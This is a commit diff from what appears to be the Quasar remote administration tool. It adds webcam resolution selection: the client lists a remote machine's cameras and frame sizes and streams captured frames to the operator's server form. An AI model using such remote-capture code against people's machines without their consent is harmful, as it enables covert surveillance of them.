mirror of https://github.com/quasar/Quasar.git
Merge pull request #495 from d3agle/master
#488 - Added resolution/quality support for webcam capture
This commit is contained in:
commit
fa0b5a2fc1
|
@ -18,18 +18,25 @@ namespace xClient.Core.Commands
|
|||
public static bool NeedsCapture;
|
||||
public static Client Client;
|
||||
public static int Webcam;
|
||||
public static int Resolution;
|
||||
public static VideoCaptureDevice FinalVideo;
|
||||
|
||||
public static void HandleGetWebcams(GetWebcams command, Client client)
|
||||
{
|
||||
var result = new List<string>();
|
||||
var deviceInfo = new Dictionary<string, List<Size>>();
|
||||
var videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice);
|
||||
foreach (FilterInfo videoCaptureDevice in videoCaptureDevices)
|
||||
{
|
||||
result.Add(videoCaptureDevice.Name);
|
||||
List<Size> supportedResolutions = new List<Size>();
|
||||
var device = new VideoCaptureDevice(videoCaptureDevice.MonikerString);
|
||||
foreach (var resolution in device.VideoCapabilities)
|
||||
{
|
||||
supportedResolutions.Add(resolution.FrameSize);
|
||||
}
|
||||
if (result.Count > 0)
|
||||
new GetWebcamsResponse(result).Execute(client);
|
||||
deviceInfo.Add(videoCaptureDevice.Name, supportedResolutions);
|
||||
}
|
||||
if (deviceInfo.Count > 0)
|
||||
new GetWebcamsResponse(deviceInfo).Execute(client);
|
||||
}
|
||||
|
||||
public static void HandleGetWebcam(GetWebcam command, Client client)
|
||||
|
@ -37,11 +44,13 @@ namespace xClient.Core.Commands
|
|||
Client = client;
|
||||
NeedsCapture = true;
|
||||
Webcam = command.Webcam;
|
||||
Resolution = command.Resolution;
|
||||
if (!WebcamStarted)
|
||||
{
|
||||
var videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice);
|
||||
FinalVideo = new VideoCaptureDevice(videoCaptureDevices[command.Webcam].MonikerString);
|
||||
FinalVideo.NewFrame += FinalVideo_NewFrame;
|
||||
FinalVideo.VideoResolution = FinalVideo.VideoCapabilities[command.Resolution];
|
||||
FinalVideo.Start();
|
||||
WebcamStarted = true;
|
||||
}
|
||||
|
@ -71,7 +80,7 @@ namespace xClient.Core.Commands
|
|||
using (var stream = new MemoryStream())
|
||||
{
|
||||
image.Save(stream, ImageFormat.Bmp);
|
||||
new GetWebcamResponse(stream.ToArray(), Webcam).Execute(Client);
|
||||
new GetWebcamResponse(stream.ToArray(), Webcam, Resolution).Execute(Client);
|
||||
stream.Close();
|
||||
}
|
||||
NeedsCapture = false;
|
||||
|
|
|
@ -1,5 +1,4 @@
|
|||
using System;
|
||||
using System.Drawing;
|
||||
using xClient.Core.Networking;
|
||||
|
||||
namespace xClient.Core.Packets.ClientPackets
|
||||
|
@ -9,15 +8,17 @@ namespace xClient.Core.Packets.ClientPackets
|
|||
{
|
||||
public byte[] Image { get; set; }
|
||||
public int Webcam { get; set; }
|
||||
public int Resolution { get; set; }
|
||||
|
||||
public GetWebcamResponse()
|
||||
{
|
||||
}
|
||||
|
||||
public GetWebcamResponse(byte[] image, int webcam)
|
||||
public GetWebcamResponse(byte[] image, int webcam, int resolution)
|
||||
{
|
||||
this.Image = image;
|
||||
this.Webcam = webcam;
|
||||
this.Resolution = resolution;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
|
|
|
@ -1,21 +1,22 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using xClient.Core.Networking;
|
||||
using System.Drawing;
|
||||
|
||||
namespace xClient.Core.Packets.ClientPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class GetWebcamsResponse : IPacket
|
||||
{
|
||||
public List<string> Names { get; set; }
|
||||
public Dictionary<string, List<Size>> Webcams { get; set; }
|
||||
|
||||
public GetWebcamsResponse()
|
||||
{
|
||||
}
|
||||
|
||||
public GetWebcamsResponse(List<string> names)
|
||||
public GetWebcamsResponse(Dictionary<string, List<Size>> webcams)
|
||||
{
|
||||
this.Names = names;
|
||||
this.Webcams = webcams;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
|
|
|
@ -7,14 +7,16 @@ namespace xClient.Core.Packets.ServerPackets
|
|||
public class GetWebcam : IPacket
|
||||
{
|
||||
public int Webcam { get; set; }
|
||||
public int Resolution { get; set; }
|
||||
|
||||
public GetWebcam()
|
||||
{
|
||||
}
|
||||
|
||||
public GetWebcam(int webcam)
|
||||
public GetWebcam(int webcam, int resolution)
|
||||
{
|
||||
this.Webcam = webcam;
|
||||
this.Resolution = resolution;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
|
|
|
@ -179,7 +179,7 @@ namespace xServer.Core.Commands
|
|||
if (client.Value == null || client.Value.FrmWebcam == null)
|
||||
return;
|
||||
|
||||
client.Value.FrmWebcam.AddWebcams(packet.Names);
|
||||
client.Value.FrmWebcam.AddWebcams(packet.Webcams);
|
||||
}
|
||||
|
||||
public static void HandleGetWebcamResponse(Client client, GetWebcamResponse packet)
|
||||
|
@ -200,7 +200,7 @@ namespace xServer.Core.Commands
|
|||
|
||||
if (client.Value != null && client.Value.FrmWebcam != null && client.Value.FrmWebcam.IsStarted)
|
||||
{
|
||||
new GetWebcam(packet.Webcam).Execute(client);
|
||||
new GetWebcam(packet.Webcam, packet.Resolution).Execute(client);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -1,24 +1,24 @@
|
|||
using System;
|
||||
using System.Drawing;
|
||||
using xServer.Core.Networking;
|
||||
|
||||
namespace xServer.Core.Packets.ClientPackets
|
||||
{
|
||||
|
||||
[Serializable]
|
||||
public class GetWebcamResponse : IPacket
|
||||
{
|
||||
public byte[] Image { get; set; }
|
||||
public int Webcam { get; set; }
|
||||
public int Resolution { get; set; }
|
||||
|
||||
public GetWebcamResponse()
|
||||
{
|
||||
}
|
||||
|
||||
public GetWebcamResponse(byte[] image, int webcam)
|
||||
public GetWebcamResponse(byte[] image, int webcam, int resolution)
|
||||
{
|
||||
this.Image = image;
|
||||
this.Webcam = webcam;
|
||||
this.Resolution = resolution;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
|
|
|
@ -1,21 +1,22 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using xServer.Core.Networking;
|
||||
using System.Drawing;
|
||||
|
||||
namespace xServer.Core.Packets.ClientPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class GetWebcamsResponse : IPacket
|
||||
{
|
||||
public List<string> Names { get; set; }
|
||||
public Dictionary<string, List<Size>> Webcams { get; set; }
|
||||
|
||||
public GetWebcamsResponse()
|
||||
{
|
||||
}
|
||||
|
||||
public GetWebcamsResponse(List<string> names)
|
||||
public GetWebcamsResponse(Dictionary<string, List<Size>> webcams)
|
||||
{
|
||||
this.Names = names;
|
||||
this.Webcams = webcams;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
|
|
|
@ -7,14 +7,16 @@ namespace xServer.Core.Packets.ServerPackets
|
|||
public class GetWebcam : IPacket
|
||||
{
|
||||
public int Webcam { get; set; }
|
||||
public int Resolution { get; set; }
|
||||
|
||||
public GetWebcam()
|
||||
{
|
||||
}
|
||||
|
||||
public GetWebcam(int webcam)
|
||||
public GetWebcam(int webcam, int resolution)
|
||||
{
|
||||
this.Webcam = webcam;
|
||||
this.Resolution = resolution;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
|
|
|
@ -35,6 +35,7 @@
|
|||
this.btnHide = new System.Windows.Forms.Button();
|
||||
this.btnStart = new System.Windows.Forms.Button();
|
||||
this.btnStop = new System.Windows.Forms.Button();
|
||||
this.cbResolutions = new System.Windows.Forms.ComboBox();
|
||||
this.picWebcam = new xServer.Controls.RapidPictureBox();
|
||||
this.panelTop.SuspendLayout();
|
||||
((System.ComponentModel.ISupportInitialize)(this.picWebcam)).BeginInit();
|
||||
|
@ -42,7 +43,7 @@
|
|||
//
|
||||
// btnShow
|
||||
//
|
||||
this.btnShow.Location = new System.Drawing.Point(389, 84);
|
||||
this.btnShow.Location = new System.Drawing.Point(388, 115);
|
||||
this.btnShow.Name = "btnShow";
|
||||
this.btnShow.Size = new System.Drawing.Size(54, 19);
|
||||
this.btnShow.TabIndex = 10;
|
||||
|
@ -55,13 +56,14 @@
|
|||
// panelTop
|
||||
//
|
||||
this.panelTop.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
|
||||
this.panelTop.Controls.Add(this.cbResolutions);
|
||||
this.panelTop.Controls.Add(this.cbWebcams);
|
||||
this.panelTop.Controls.Add(this.btnHide);
|
||||
this.panelTop.Controls.Add(this.btnStart);
|
||||
this.panelTop.Controls.Add(this.btnStop);
|
||||
this.panelTop.Location = new System.Drawing.Point(330, 0);
|
||||
this.panelTop.Name = "panelTop";
|
||||
this.panelTop.Size = new System.Drawing.Size(181, 76);
|
||||
this.panelTop.Size = new System.Drawing.Size(181, 109);
|
||||
this.panelTop.TabIndex = 9;
|
||||
//
|
||||
// cbWebcams
|
||||
|
@ -73,10 +75,11 @@
|
|||
this.cbWebcams.Size = new System.Drawing.Size(149, 21);
|
||||
this.cbWebcams.TabIndex = 8;
|
||||
this.cbWebcams.TabStop = false;
|
||||
this.cbWebcams.SelectedIndexChanged += new System.EventHandler(this.cbWebcams_SelectedIndexChanged);
|
||||
//
|
||||
// btnHide
|
||||
//
|
||||
this.btnHide.Location = new System.Drawing.Point(57, 54);
|
||||
this.btnHide.Location = new System.Drawing.Point(57, 84);
|
||||
this.btnHide.Name = "btnHide";
|
||||
this.btnHide.Size = new System.Drawing.Size(54, 19);
|
||||
this.btnHide.TabIndex = 7;
|
||||
|
@ -108,6 +111,16 @@
|
|||
this.btnStop.UseVisualStyleBackColor = true;
|
||||
this.btnStop.Click += new System.EventHandler(this.btnStop_Click);
|
||||
//
|
||||
// cbResolutions
|
||||
//
|
||||
this.cbResolutions.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;
|
||||
this.cbResolutions.FormattingEnabled = true;
|
||||
this.cbResolutions.Location = new System.Drawing.Point(15, 57);
|
||||
this.cbResolutions.Name = "cbResolutions";
|
||||
this.cbResolutions.Size = new System.Drawing.Size(149, 21);
|
||||
this.cbResolutions.TabIndex = 9;
|
||||
this.cbResolutions.TabStop = false;
|
||||
//
|
||||
// picWebcam
|
||||
//
|
||||
this.picWebcam.BackColor = System.Drawing.Color.Black;
|
||||
|
@ -154,5 +167,6 @@
|
|||
private System.Windows.Forms.Button btnHide;
|
||||
private System.Windows.Forms.Button btnStart;
|
||||
private System.Windows.Forms.Button btnStop;
|
||||
private System.Windows.Forms.ComboBox cbResolutions;
|
||||
}
|
||||
}
|
|
@ -9,11 +9,15 @@ using xServer.Core.Utilities;
|
|||
using xServer.Enums;
|
||||
namespace xServer.Forms
|
||||
{
|
||||
using System.Linq;
|
||||
|
||||
public partial class FrmRemoteWebcam : Form
|
||||
{
|
||||
|
||||
public bool IsStarted { get; private set; }
|
||||
private readonly Client _connectClient;
|
||||
private Dictionary<string, List<Size>> Webcams;
|
||||
|
||||
public FrmRemoteWebcam(Client c)
|
||||
{
|
||||
_connectClient = c;
|
||||
|
@ -52,14 +56,17 @@ namespace xServer.Forms
|
|||
if (_connectClient.Value != null)
|
||||
new Core.Packets.ServerPackets.GetWebcams().Execute(_connectClient);
|
||||
}
|
||||
public void AddWebcams(List<string> names)
|
||||
public void AddWebcams(Dictionary<string, List<Size>> webcams)
|
||||
{
|
||||
this.Webcams = webcams;
|
||||
try
|
||||
{
|
||||
cbWebcams.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
for (int i = 0; i < names.Count; i++)
|
||||
cbWebcams.Items.Add(string.Format("{0}",names[i]));
|
||||
foreach (var webcam in webcams.Keys)
|
||||
{
|
||||
cbWebcams.Items.Add(string.Format("{0}", webcam));
|
||||
}
|
||||
cbWebcams.SelectedIndex = 0;
|
||||
});
|
||||
}
|
||||
|
@ -69,8 +76,6 @@ namespace xServer.Forms
|
|||
}
|
||||
public void UpdateImage(Bitmap bmp, bool cloneBitmap = false)
|
||||
{
|
||||
|
||||
|
||||
picWebcam.Image = new Bitmap(bmp, picWebcam.Width, picWebcam.Height);
|
||||
}
|
||||
|
||||
|
@ -87,14 +92,14 @@ namespace xServer.Forms
|
|||
|
||||
this.ActiveControl = picWebcam;
|
||||
|
||||
new Core.Packets.ServerPackets.GetWebcam(cbWebcams.SelectedIndex).Execute(_connectClient);
|
||||
new Core.Packets.ServerPackets.GetWebcam(cbWebcams.SelectedIndex, cbResolutions.SelectedIndex).Execute(_connectClient);
|
||||
}
|
||||
|
||||
public void ToggleControls(bool state)
|
||||
{
|
||||
IsStarted = !state;
|
||||
|
||||
cbWebcams.Enabled = btnStart.Enabled = state;
|
||||
cbWebcams.Enabled = cbResolutions.Enabled = btnStart.Enabled = state;
|
||||
btnStop.Enabled = !state;
|
||||
}
|
||||
|
||||
|
@ -119,5 +124,18 @@ namespace xServer.Forms
|
|||
|
||||
new Core.Packets.ServerPackets.DoWebcamStop().Execute(_connectClient);
|
||||
}
|
||||
|
||||
private void cbWebcams_SelectedIndexChanged(object sender, EventArgs e)
|
||||
{
|
||||
cbResolutions.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
cbResolutions.Items.Clear();
|
||||
foreach (var resolution in this.Webcams.ElementAt(cbWebcams.SelectedIndex).Value)
|
||||
{
|
||||
cbResolutions.Items.Add(string.Format("{0} x {1}", resolution.Width, resolution.Height));
|
||||
}
|
||||
cbResolutions.SelectedIndex = 0;
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
Loading…
Reference in New Issue